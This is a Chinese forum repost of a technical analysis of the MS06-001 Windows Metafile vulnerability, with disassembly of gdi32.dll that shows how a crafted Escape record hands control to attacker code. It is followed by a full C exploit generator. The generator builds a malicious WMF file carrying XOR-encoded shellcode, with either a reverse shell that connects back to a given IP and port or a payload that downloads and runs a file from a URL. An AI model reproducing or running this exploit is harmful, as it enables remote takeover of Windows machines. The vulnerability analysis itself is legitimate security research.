返回列表 发帖

[转帖]MS06-001漏洞分析

MS06-001 Windows Metafile Escape() SetAbortProc Code Execution 漏洞分析
                                                                                SoBeIt
        WindowsMetaFile文件格式用于储存图片,与位图文件最大的不同在于它的设备无关性,无论向什么设备输出,它总能保持里面图片的原始尺寸和象素。它们主要用于Windows 3.x,保存到现在主要是为了兼容性。它的内部文件结构是由一个文件头WMFHEAD结构和若干个WMFRECORD结构组成。它们的结构定义如下:
typedef struct _WindowsMetaHeader
{
  WORD  FileType;       /* Type of metafile (0=memory, 1=disk) */
  WORD  HeaderSize;     /* Size of header in WORDS (always 9) */
  WORD  Version;        /* Version of Microsoft Windows used */
  DWORD FileSize;       /* Total size of the metafile in WORDs */
  WORD  NumOfObjects;   /* Number of objects in the file */
  DWORD MaxRecordSize;  /* The size of largest record in WORDs */
  WORD  NumOfParams;    /* Not Used (always 0) */
} WMFHEAD;
typedef struct _StandardMetaRecord
{
    DWORD Size;          /* Total size of the record in WORDs */
    WORD  Function;      /* Function number (defined in WINDOWS.H) */
    WORD  Parameters[];  /* Parameter values passed to function */
} WMFRECORD;
        然后每个wmf文件以一个特定的6个字节标记\x03\x00\x00\x00\x00\x00结尾。在构造metafile时,用于显示该图象的所有GDI函数和它们的参数按调用顺序存储进每个WMFRECORD结构里。整个wmf文件长度必须按2字节对齐,若不足可以在结尾标记前补齐。
        发生漏洞时函数顺序如下:
..GDI32!PlayMetaFile
....GDI32!CommonEnumMetaFile
......GDI32!PlayMetaFileRecord
........GDI32!Escape
..........GDI32!SetAbortProc

        漏洞发生于当打开一个wmf文件时,系统会调用gdi32.dll中的PlayMetaFile函数来显示该图形文件,这个显示过程是通过执行wmf文件中所有的record中的GDI函数来完成的。在PlayMetaFile中会调用PlayMetaFileRecord函数。该函数通过执行wmf文件中某个record中的GDI函数来执行该record动作。在PlayMetaFileRecord函数中执行什么函数是通过WMFRECORD结构中的Function成员来决定,内部实现是通过Funciton的低8位作为索引来索引一张函数表里的分派函数,当为0x0626时,就会执行Escape函数:
(反汇编代码来自Windows XP SP2的gdi32.dll)
.text:77F0DD2F loc_77F0DD2F:                           ; CODE XREF: PlayMetaFileRecord(x,x,x,x)-42j
.text:77F0DD2F                                         ; DATA XREF: .text:off_77F0D8CEo
.text:77F0DD2F                 push    [ebp+var_68]    ; case 0x26
.text:77F0DD32                 push    ebx
.text:77F0DD33                 call    _PlayIntoAMetafile@8 ; PlayIntoAMetafile(x,x)
.text:77F0DD38                 test    eax, eax
.text:77F0DD3A                 mov     [ebp+var_64], eax
.text:77F0DD3D                 jnz     loc_77F0C8F5
.text:77F0DD43                 mov     ax, [ebx+6]
.text:77F0DD47                 cmp     ax, 0Fh
.text:77F0DD4B                 jnz     loc_77F0CE18
.text:77F0CE18 loc_77F0CE18:                           ; CODE XREF: PlayMetaFileRecord(x,x,x,x)+14EBj
.text:77F0CE18                 push    0               ; LPVOID
.text:77F0CE1A                 lea     ecx, [ebx+0Ah]
.text:77F0CE1D                 push    ecx             ; LPCSTR
.text:77F0CE1E                 movzx   ecx, word ptr [ebx+8]
.text:77F0CE22                 movzx   eax, ax
.text:77F0CE25                 push    ecx             ; int
.text:77F0CE26                 push    eax             ; int
.text:77F0CE27                 push    [ebp+var_68]    ; HDC
.text:77F0CE2A                 call    _Escape@20      ; Escape(x,x,x,x,x)

        Escape的函数索引在wingdi.h里定义:
#define META_ESCAPE                  0x0626
        ESCAPE函数声明如下:
int Escape(
    HDC hdc,        // handle to device context
    int nEscape,        // escape function
    int cbInput,        // number of bytes in input structure
    LPCSTR lpvInData,        // pointer to input structure
    LPVOID lpvOutData         // pointer to output structure
   );
        当这样构造WMFRECORD结构时:        
        
        10 00 00 00 26 06 09 00 16 00 90 90 90 90 90 90 90 90 90 90 ...
        反汇编Escape相关函数代码:
.text:77F13B51                 dec     eax
.text:77F13B52                 jz      loc_77F13C52
.text:77F13B58                 dec     eax
.text:77F13B59                 jz      loc_77F13C45
.text:77F13B5F                 dec     eax
.text:77F13B60                 jz      short loc_77F13B9B
.text:77F13B62                 sub     eax, 6
.text:77F13B65                 jz      short loc_77F13B8D
.text:77F13B8D loc_77F13B8D:                           ; CODE XREF: CommonEnumMetaFile(x,x,x,x)+615Fj
.text:77F13B8D                 push    esi             ; ABORTPROC
.text:77F13B8E                 push    dword ptr [ebp-8] ; HDC
.text:77F13B91                 call    _SetAbortProc@8 ; SetAbortProc(x,x)

        由上面代码可以看到nEscape为9时,Escape函数将会调用SetAbortProc。cbInput为16,lpvInData开始于WMFRECORD结构+0x0a,也就是那一片0x90的开始处。
/* GDI Escapes */
#define SETABORTPROC                 9
        SetAbortProc函数定义为:
int SetAbortProc(
    HDC hdc,        // handle of device context
    ABORTPROC lpAbortProc         // address of abort function  
   );        
        lpAbortProc为前面调用Escape的参数lpvInData。在SetAbortProc里,会设置设备环境结构里
一个函数指针为lpAbortProc:
        
.text:77F23588                 mov     [esi+14h], edi        //edi pointer to lpAbortPorc
        返回到前面的调用PlayMetaFileRecord处的CommonEnumMetaFile函数代码时,会接着调用GetEvent函数,这个函数的结果是能否跳转到shellcode的关键:
.text:77F0DFDF                 push    esi
.text:77F0DFE0                 push    dword ptr [ebp-2Ch]
.text:77F0DFE3                 call    _GetEvent@8     ; GetEvent(x,x)
.text:77F0DFE8                 mov     esi, eax
.text:77F0DFEA                 jmp     short loc_77F0DFA5

        若能成功跳转到shellcode里执行,则GetEvent的返回结果将是shellcode的地址,否则正常情况下将是0。回忆起WMF文件的特性,执行Escape的参数都存储在WMFRECORD结构里,若shellcode长度等于Escape参数cbInput时,GetEvent将返回0,这也是正常情况。当shellcode长度大于cbInput时,就会返回shellcode地址,后续就会调用这个地址。这个特性实在是十分奇怪。接下来检查设备环境结构里的函数指针是否为空,不为空就直接调用,这样流程就跳转到了我们的shellcode里:
.text:77F0DFC7                 mov     eax, [eax+14h]
.text:77F0DFCA                 cmp     eax, ebx
.text:77F0DFCC                 jnz     loc_77F130A1
.text:77F130A1 loc_77F130A1:                           ; CODE XREF: CommonEnumMetaFile(x,x,x,x)+5C6j
.text:77F130A1                 push    ebx
.text:77F130A2                 push    edi
.text:77F130A3                 call    eax                //lpAbortProc, address of shellcode
        在shellcode里最后执行ExitThread退出当前线程既可恢复正常执行流程。

[转帖]MS06-001漏洞分析

/* MS06-001 Windows Metafile Escape() SetAbortProc Code Execution Vulnerability Exploit Created by SoBeIt Main file of exploit Tested on: Windows XP PRO SP2 Chinese Windows XP PRO SP2 English Usage:ms06-001.exe 1 LOCALIP LOCALPORT ms06-001.exe 2 URL */ #include #include #include #include #pragma comment(lib, "ws2_32.lib") unsigned char functions1[64][64] = { //kernel32.dll {"LoadLibraryA"}, {"CreateProcessA"}, {"WaitForSingleObject"}, {"ExitThread"}, //ws2_32.dll {"WSAStartup"}, {"WSASocketA"}, {"connect"}, {""}, }; unsigned char functions2[64][64] = { //kernel32.dll {"LoadLibraryA"}, {"GetSystemDirectoryA"}, {"WinExec"}, {"ExitThread"}, //urlmon.dll {"URLDownloadToFileA"}, {""}, }; unsigned char wmf_header[] = "\x01\x00\x09\x00\x00\x03\x52\x1f\x00\x00\x03\x00\x71\x00\x00\x00" "\x00\x00"; /* unsigned char wmf_records[] = "\x08\x00\x00\x00\xfa\x02\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00" "\x04\x00\x00\x00\x2d\x01\x00\x00\x07\x00\x00\x00\xfc\x02\x00\x00" "\xff\x00\xff\x00\x00\x00\x04\x00\x00\x00\x2d\x01\x01\x00\x07\x00" "\x00\x00\x1b\x04\x46\x00\x96\x00\x00\x00\x00\x00\x0f\x00\x00\x00" "\x21\x05\x11\x00\x43\x72\x65\x61\x74\x65\x64\x20\x42\x79\x20\x53" "\x6f\x42\x65\x49\x74\x00\x0a\x00\x0a\x00"; */ unsigned char wmf_recordexp[] = "\x10\x00\x00\x00\x26\x06\x09\x00\x10\x00\x90\x90\x90\x90\x90\x90"; unsigned char decoder[] = "\x90\xeb\x14\x5f\x81\x37\xac\xa0\xed\xdc\x81\x3f\xcc\x90\x90\xcc" "\x74\x0a\x83\xc7\x04\xeb\xed\xe8\xe7\xff\xff\xff"; unsigned char shellcode1[] = "\x90\xe9\x12\x01\x00\x00\x5f\x47\x66\x81\x3f\x90\xcc\x75\xf8\x66" "\x81\x7f\x02\xcc\x90\x75\xf0\x83\xc7\x04\x64\xa1\x30\x00\x00\x00" "\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x8b\xf7\x6a\x04\x59\xe8" "\x9f\x00\x00\x00\xe2\xf9\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" "\x54\xff\x16\x8b\xe8\x6a\x03\x59\xe8\x86\x00\x00\x00\xe2\xf9\x81" "\xec\x90\x01\x00\x00\x54\x68\x01\x01\x00\x00\xff\x56\x10\x50\x50" "\x50\x50\x40\x50\x40\x50\xff\x56\x14\x8b\xd8\xff\x76\x1c\x66\x8b" "\x56\x20\x86\xd6\xc1\xca\x10\x66\xba\x02\x00\x52\x8b\xd4\x6a\x10" "\x52\x53\xff\x56\x18\x85\xc0\x75\x44\x68\x63\x6d\x64\x00\x8d\x14" "\x24\x83\xec\x54\x8b\xfc\x6a\x15\x59\x57\xf3\xab\x5f\xc6\x47\x10" "\x44\xfe\x47\x3c\xfe\x47\x3d\x89\x5f\x48\x89\x5f\x4c\x89\x5f\x50" "\x8d\x47\x10\x57\x50\x51\x51\x51\x6a\x01\x51\x51\x52\x51\xff\x56" "\x04\x8b\xcc\x68\xff\x00\x00\x00\xff\x31\xff\x56\x08\x33\xc0\x50" "\xff\x56\x0c\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56\x8b" "\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb\x0f\xbe\x10" "\x85\xd2\x74\x08\xc1\xcb\x07\x03\xda\x40\xeb\xf1\x3b\x1f\x75\xe7" "\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd\x8b" "\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\xe9\xfe\xff\xff\x90\x90\x90" "\x90\xcc\xcc\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x90\x90\xcc"; unsigned char shellcode2[] = "\x90\xe9\xcb\x00\x00\x00\x5f\x47\x66\x81\x3f\x90\xcc\x75\xf8\x66" "\x81\x7f\x02\xcc\x90\x75\xf0\x83\xc7\x04\x64\xa1\x30\x00\x00\x00" "\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x8b\xf7\x6a\x04\x59\xe8" "\x58\x00\x00\x00\xe2\xf9\x68\x6f\x6e\x00\x00\x68\x75\x72\x6c\x6d" "\x54\xff\x16\x8b\xe8\x6a\x01\x59\xe8\x3f\x00\x00\x00\xe2\xf9\x83" "\xec\x20\x8b\xdc\x6a\x20\x53\xff\x56\x04\xc7\x04\x03\x5c\x74\x65" "\x73\xc7\x44\x03\x04\x74\x2e\x65\x78\xc7\x44\x03\x08\x65\x00\x00" "\x00\x33\xc0\x50\x50\x53\x8d\x7e\x14\x57\x50\xff\x56\x10\x8b\xdc" "\x6a\x01\x53\xff\x56\x08\x33\xc0\x50\xff\x56\x0c\x51\x56\x8b\x75" "\x3c\x8b\x74\x2e\x78\x03\xf5\x56\x8b\x76\x20\x03\xf5\x33\xc9\x49" "\x41\xad\x03\xc5\x33\xdb\x0f\xbe\x10\x85\xd2\x74\x08\xc1\xcb\x07" "\x03\xda\x40\xeb\xf1\x3b\x1f\x75\xe7\x5e\x8b\x5e\x24\x03\xdd\x66" "\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\xab\x5e\x59" "\xc3\xe8\x30\xff\xff\xff\x90\x90" "\x90\xcc\xcc\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x90\x90\xcc"; unsigned char wmf_eof[] = "\x03\x00\x00\x00\x00\x00"; VOID ErrorQuit(char *msg) { printf("%s\n", msg); ExitProcess(0); } ULONG ComputeHash(char *ch) { ULONG ret = 0; while(*ch) { ret = ((ret << 25) | (ret >> 7)) + *ch++; } return ret; } VOID Encode(PULONG pShellcode) { int len, j = 0; ULONG i; for(len = 0; ; len++) { i = pShellcode[len]; pShellcode[len] ^= 0xdceda0ac; if(i == 0xcc9090cc) break; } } int main(int argc, char *argv[]) { FILE *fp; char *wmf_buf, *ptr, *tmpptr; ULONG size = 0, len = 0, i, j, type; PULONG pShellcode; WSADATA wsad; ULONG buf[64]; printf("\n MS06-001 Windows Metafile Escape() SetAbortProc Code Execution Vulnerability Exploit \n\n"); printf("\t Create by SoBeIt. \n\n"); if(argc < 2) { printf("ConnectBack Usage: %s 1 LOCALIP LOCALPORT\n", argv[0]); printf("Download&Execute Usage: %s 2 URL\n", argv[0]); ExitProcess(0); } type = atoi(argv[1]); if((type == 1) && (argc != 4)) ErrorQuit("ConnectBack Usage: ms06-001 1 LOCALIP LOCALPORT\n"); else if((type == 2) && (argc != 3)) ErrorQuit("Download&Execute Usage: ms06-001 2 URL\n"); if(strlen(argv[2]) > 0x30) ErrorQuit("URL too long.\n"); if((wmf_buf = malloc(4096)) == NULL) ErrorQuit("malloc failed.\n"); ptr = wmf_buf; if((type == 2) && (strlen(argv[2]) > 64)) ErrorQuit("URL is too long.\n"); memcpy(ptr, wmf_header, sizeof(wmf_header) - 1); size += sizeof(wmf_header) - 1; ptr += sizeof(wmf_header) - 1; /* memcpy(ptr, wmf_records, sizeof(wmf_records) - 1); size += sizeof(wmf_records) - 1; ptr += sizeof(wmf_records) - 1; */ memcpy(ptr, wmf_recordexp, sizeof(wmf_recordexp) - 1); size += sizeof(wmf_recordexp) - 1; ptr += sizeof(wmf_recordexp) - 1; memcpy(ptr, decoder, sizeof(decoder) - 1); size += sizeof(decoder) - 1; ptr += sizeof(decoder) - 1; switch(type) { case 1: pShellcode = (PULONG)shellcode1; for(i = 0; pShellcode[i++] != 0x90cccc90; ) ; for(j = 0; functions1[j][0] != ';\x0';; j++) buf[j] = ComputeHash(functions1[j]); buf[j++] = inet_addr(argv[2]); buf[j++] = atoi(argv[3]); memcpy((char *)(pShellcode + i), (char *)buf, j * 4); Encode((PULONG)shellcode1); memcpy(ptr, shellcode1, sizeof(shellcode1) - 1); size += sizeof(shellcode1) - 1; ptr += sizeof(shellcode1) - 1; break; case 2: pShellcode = (PULONG)shellcode2; for(i = 0; pShellcode[i++] != 0x90cccc90; ) ; for(j = 0; functions2[j][0] != ';\x0';; j++) buf[j] = ComputeHash(functions2[j]); tmpptr = (char *)(buf + j); if(strncmp(argv[2], "http://", 7)) { strncpy(tmpptr, "http://", 7); len = 7; tmpptr += 7; } strncpy(tmpptr, argv[2], strlen(argv[2]) + 1); len += j * 4 + strlen(argv[2]) + 1; memcpy((char *)(pShellcode + i), (char *)buf, len); Encode((PULONG)shellcode2); memcpy(ptr, shellcode2, sizeof(shellcode2) - 1); size += sizeof(shellcode2) - 1; ptr += sizeof(shellcode2) - 1; break; default: ErrorQuit("Supported Shellcode Type: 1. ConnectBack 2. Download&Execute.\n"); } if(size % 2) { strcat(ptr, "\x90"); size++; ptr++; } memcpy(ptr, wmf_eof, sizeof(wmf_eof) - 1); size += sizeof(wmf_eof) - 1; *(PULONG)(wmf_buf + 0x6) = (ULONG)size / 2; if((fp = fopen("ms06-001.wmf", "wb")) == NULL) ErrorQuit("Create metafile failed.\n"); fwrite(wmf_buf, 1, size, fp); printf("Metafile created.\n"); fclose(fp); }

TOP

返回列表 回复 发帖